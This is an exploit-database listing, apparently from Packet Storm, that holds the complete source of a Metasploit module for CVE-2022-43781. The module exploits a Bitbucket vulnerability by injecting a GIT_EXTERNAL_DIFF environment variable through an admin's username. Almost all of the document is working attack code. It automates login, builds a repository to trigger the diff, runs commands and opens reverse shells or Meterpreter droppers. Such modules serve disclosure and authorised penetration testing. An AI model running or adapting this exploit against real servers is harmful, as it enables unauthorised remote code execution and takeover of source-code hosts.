Lucene search

K
packetstormShelby Pace, Y4er, Ry0taK, metasploit.comPACKETSTORM:171369
HistoryMar 16, 2023 - 12:00 a.m.

Bitbucket Environment Variable Remote Command Injection

2023-03-1600:00:00
Shelby Pace, Y4er, Ry0taK, metasploit.com
packetstormsecurity.com
168

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Git  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Bitbucket Environment Variable RCE',  
'Description' => %q{  
For various versions of Bitbucket, there is an authenticated command injection  
vulnerability that can be exploited by injecting environment  
variables into a user name. This module achieves remote code execution  
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment  
variable, a null character as a delimiter, and arbitrary code into a user's  
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable  
will be run once the Bitbucket application is coerced into generating a diff.  
  
This module requires at least admin credentials, as admins and above  
only have the option to change their user name.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ry0taK', # Vulnerability Discovery  
'y4er', # PoC and blog post  
'Shelby Pace' # Metasploit Module  
],  
'References' => [  
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],  
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],  
[ 'CVE', '2022-43781']  
],  
'Platform' => [ 'win', 'unix', 'linux' ],  
'Privileged' => true,  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
'Targets' => [  
[  
'Linux Command',  
{  
'Platform' => 'unix',  
'Type' => :unix_cmd,  
'Arch' => [ ARCH_CMD ],  
'Payload' => { 'Space' => 254 },  
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'MaxLineChars' => 254,  
'Type' => :linux_dropper,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'CmdStagerFlavor' => %i[wget curl],  
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'win',  
'MaxLineChars' => 254,  
'Type' => :win_dropper,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'CmdStagerFlavor' => [ :psh_invokewebrequest ],  
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2022-11-16',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(7990),  
OptString.new('USERNAME', [ true, 'User name to log in with' ]),  
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),  
OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login'),  
'keep_cookies' => true  
)  
  
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res  
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')  
  
nokogiri_data = res.get_html_document  
footer = nokogiri_data&.at('footer')  
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer  
  
version_info = footer.at('span')&.children&.text  
return CheckCode::Detected('Failed to find version information in footer section') unless version_info  
  
vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)  
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1  
  
version_str = vers_matches[1]  
  
vprint_status("Found version #{version_str} of Bitbucket")  
major, minor, revision = version_str.split('.')  
rev_num = revision.to_i  
  
case major  
when '7'  
case minor  
when '0', '1', '2', '3', '4', '5'  
return CheckCode::Appears  
when '6'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18  
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'  
return CheckCode::Appears  
when '17'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11  
when '18', '19', '20'  
return CheckCode::Appears  
when '21'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5  
end  
when '8'  
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')  
case minor  
when '0'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4  
when '1'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4  
when '2'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3  
when '3'  
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2  
when '4'  
return CheckCode::Appears if rev_num == 0 || rev_num == 1  
end  
end  
  
CheckCode::Detected  
end  
  
def default_branch  
@default_branch ||= Rex::Text.rand_text_alpha(5..9)  
end  
  
def uname_payload(cmd)  
"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"  
end  
  
def log_in(username, password)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login'),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),  
'keep_cookies' => true,  
'vars_post' => {  
'j_username' => username,  
'j_password' => password,  
'_atl_remember_me' => 'on',  
'submit' => 'Log in'  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'projects'),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res  
unless res.body.include?('Logged in')  
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')  
end  
end  
  
def create_project  
proj_uri = normalize_uri(target_uri.path, 'projects?create')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => proj_uri,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')  
  
vprint_status('Retrieving security token')  
html_doc = res.get_html_document  
token_data = html_doc.at('div//input[@name="atl_token"]')  
fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data  
  
@token = token_data['value']  
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?  
  
project_name = Rex::Text.rand_text_alpha(5..9)  
project_key = Rex::Text.rand_text_alpha(5..9).upcase  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => proj_uri,  
'keep_cookies' => true,  
'vars_post' => {  
'name' => project_name,  
'key' => project_key,  
'submit' => 'Create project',  
'atl_token' => @token  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)  
  
print_status('Project creation was successful')  
[ project_name, project_key ]  
end  
  
def create_repository  
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => repo_uri,  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res  
  
html_doc = res.get_html_document  
  
dropdown_data = html_doc.at('li[@class="user-dropdown"]')  
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?  
email = dropdown_data&.at('span')&.[]('data-emailaddress')  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?  
  
repo_name = Rex::Text.rand_text_alpha(5..9)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => repo_uri,  
'keep_cookies' => true,  
'vars_post' => {  
'name' => repo_name,  
'defaultBranchId' => default_branch,  
'description' => '',  
'scmId' => 'git',  
'forkable' => 'false',  
'atl_token' => @token,  
'submit' => 'Create repository'  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res  
res = send_request_cgi(  
'method' => 'GET',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')  
)  
  
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404  
print_good("Successfully created repository '#{repo_name}'")  
  
[ email, repo_name ]  
end  
  
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)  
txt_data = Rex::Text.rand_text_alpha(5..20)  
blob_object = GitObject.build_blob_object(txt_data)  
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"  
  
file_data = {  
mode: '100755',  
file_name: file_name,  
sha1: blob_object.sha1  
}  
  
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])  
tree_obj = GitObject.build_tree_object(tree_data)  
commit_obj = GitObject.build_commit_object({  
tree_sha1: tree_obj.sha1,  
email: email,  
message: Rex::Text.rand_text_alpha(4..30),  
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)  
})  
  
{  
objects: [ commit_obj, tree_obj, blob_object ],  
file_data: file_data  
}  
end  
  
# create two files in two separate commits in order  
# to view a diff and get code execution  
def create_commits(email)  
init_objects = generate_repo_objects(email)  
commit_obj = init_objects[:objects].first  
  
refs = {  
'HEAD' => "refs/heads/#{default_branch}",  
"refs/heads/#{default_branch}" => commit_obj.sha1  
}  
  
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)  
repo_objects = final_objects[:objects] + init_objects[:objects]  
new_commit = final_objects[:objects].first  
new_file = final_objects[:file_data][:file_name]  
  
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")  
res = send_receive_pack_request(  
git_uri,  
refs['HEAD'],  
repo_objects,  
'0' * 40 # no commits should exist yet, so no branch tip in repo yet  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res  
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')  
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')  
  
[ new_commit.sha1, commit_obj.sha1, new_file ]  
end  
  
def get_user_id(curr_uname)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),  
'vars_get' => { 'name' => curr_uname }  
)  
  
matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)  
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1  
  
matched_id[1]  
end  
  
def change_username(curr_uname, new_uname)  
@user_id ||= get_user_id(curr_uname)  
  
headers = {  
'X-Requested-With' => 'XMLHttpRequest',  
'X-AUSERID' => @user_id,  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"  
}  
  
vars = {  
'name' => curr_uname,  
'newName' => new_uname  
}.to_json  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'headers' => headers,  
'data' => vars  
)  
  
unless res  
print_bad('Did not receive a response to the user name change request')  
return false  
end  
  
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')  
print_bad('User name change was unsuccessful')  
return false  
end  
  
true  
end  
  
def commit_uri(project_key, repo_name, commit_sha)  
normalize_uri(  
target_uri.path,  
'rest/api/latest/projects',  
project_key,  
'repos',  
repo_name,  
'commits',  
commit_sha  
)  
end  
  
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)  
commit_diff_uri = normalize_uri(  
commit_uri(@project_key, @repo_name, latest_commit_sha),  
'diff',  
diff_file  
)  
  
send_request_cgi(  
'method' => 'GET',  
'uri' => commit_diff_uri,  
'keep_cookies' => true,  
'vars_get' => { 'since' => first_commit_sha }  
)  
end  
  
def delete_repository(username)  
vprint_status("Attempting to delete repository '#{@repo_name}'")  
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => repo_uri,  
'keep_cookies' => true,  
'headers' => {  
'X-AUSERNAME' => username,  
'X-AUSERID' => @user_id,  
'X-Requested-With' => 'XMLHttpRequest',  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",  
'ctype' => 'application/json',  
'Accept' => 'application/json, text/javascript'  
}  
)  
  
unless res&.body&.include?('scheduled for deletion')  
print_warning('Failed to delete repository')  
return  
end  
  
print_good('Repository has been deleted')  
end  
  
def delete_project(username)  
vprint_status("Now attempting to delete project '#{@project_name}'")  
send_request_cgi( # fails to return a response  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),  
'keep_cookies' => true,  
'headers' => {  
'X-AUSERNAME' => username,  
'X-AUSERID' => @user_id,  
'X-Requested-With' => 'XMLHttpRequest',  
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",  
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",  
'ctype' => 'application/json',  
'Accept' => 'application/json, text/javascript, */*; q=0.01',  
'Accept-Encoding' => 'gzip, deflate'  
}  
)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),  
'keep_cookies' => true  
)  
  
unless res&.code == 404  
print_warning('Failed to delete project')  
return  
end  
  
print_good('Project has been deleted')  
end  
  
def get_repo  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),  
'keep_cookies' => true  
)  
  
unless res  
print_status('Couldn\'t access repos page. Will create repo')  
return []  
end  
  
json_data = JSON.parse(res.body)  
unless json_data && json_data['size'] >= 1  
print_status('No accessible repositories. Will attempt to create a repo')  
return []  
end  
  
repo_data = json_data['values'].first  
repo_name = repo_data['slug']  
project_key = repo_data['project']['key']  
  
unless repo_name && project_key  
print_status('Could not find repo name and key. Creating repo')  
return []  
end  
  
[ repo_name, project_key ]  
end  
  
def get_repo_info  
unless @project_name && @project_key  
print_status('Failed to find valid project information. Will attempt to create repo')  
return nil  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),  
'keep_cookies' => true  
)  
  
unless res  
print_status("Failed to access existing repository #{@project_name}")  
return nil  
end  
  
html_doc = res.get_html_document  
commit_data = html_doc.search('a[@class="commitid"]')  
unless commit_data && commit_data.length > 1  
print_status('No commits found for existing repo')  
return nil  
end  
  
latest_commit = commit_data[0]['data-commitid']  
prev_commit = commit_data[1]['data-commitid']  
  
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => file_uri,  
'keep_cookies' => true  
)  
  
return nil unless res  
  
json = JSON.parse(res.body)  
return nil unless json['values']  
  
path = json['values']&.first&.dig('path')  
return nil unless path  
  
[ latest_commit, prev_commit, path['name'] ]  
end  
  
def exploit  
@use_public_repo = true  
datastore['GIT_USERNAME'] = datastore['USERNAME']  
datastore['GIT_PASSWORD'] = datastore['PASSWORD']  
  
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?  
fail_with(Failure::BadConfig, 'No credentials to log in with.')  
end  
  
log_in(datastore['USERNAME'], datastore['PASSWORD'])  
@curr_uname = datastore['USERNAME']  
  
@project_name, @project_key = get_repo  
@repo_name = @project_name  
@latest_commit, @first_commit, @diff_file = get_repo_info  
unless @latest_commit && @first_commit && @diff_file  
@use_public_repo = false  
@project_name, @project_key = create_project  
email, @repo_name = create_repository  
@latest_commit, @first_commit, @diff_file = create_commits(email)  
print_good("Commits added: #{@first_commit}, #{@latest_commit}")  
end  
  
print_status('Sending payload')  
case target['Type']  
when :win_dropper  
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')  
when :linux_dropper  
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)  
when :unix_cmd  
execute_command(payload.encoded.strip)  
end  
end  
  
def cleanup  
if @curr_uname != datastore['USERNAME']  
print_status("Changing user name back to '#{datastore['USERNAME']}'")  
  
if change_username(@curr_uname, datastore['USERNAME'])  
@curr_uname = datastore['USERNAME']  
else  
print_warning('User name is still set to payload.' \  
"Please manually change the user name back to #{datastore['USERNAME']}")  
end  
end  
  
unless @use_public_repo  
delete_repository(@curr_uname) if @repo_name  
delete_project(@curr_uname) if @project_name  
end  
end  
  
def execute_command(cmd, _opts = {})  
if target['Platform'] == 'win'  
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))  
else  
curr_payload = uname_payload(cmd)  
end  
  
unless change_username(@curr_uname, curr_payload)  
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')  
end  
  
view_commit_diff(@latest_commit, @first_commit, @diff_file)  
@curr_uname = curr_payload  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H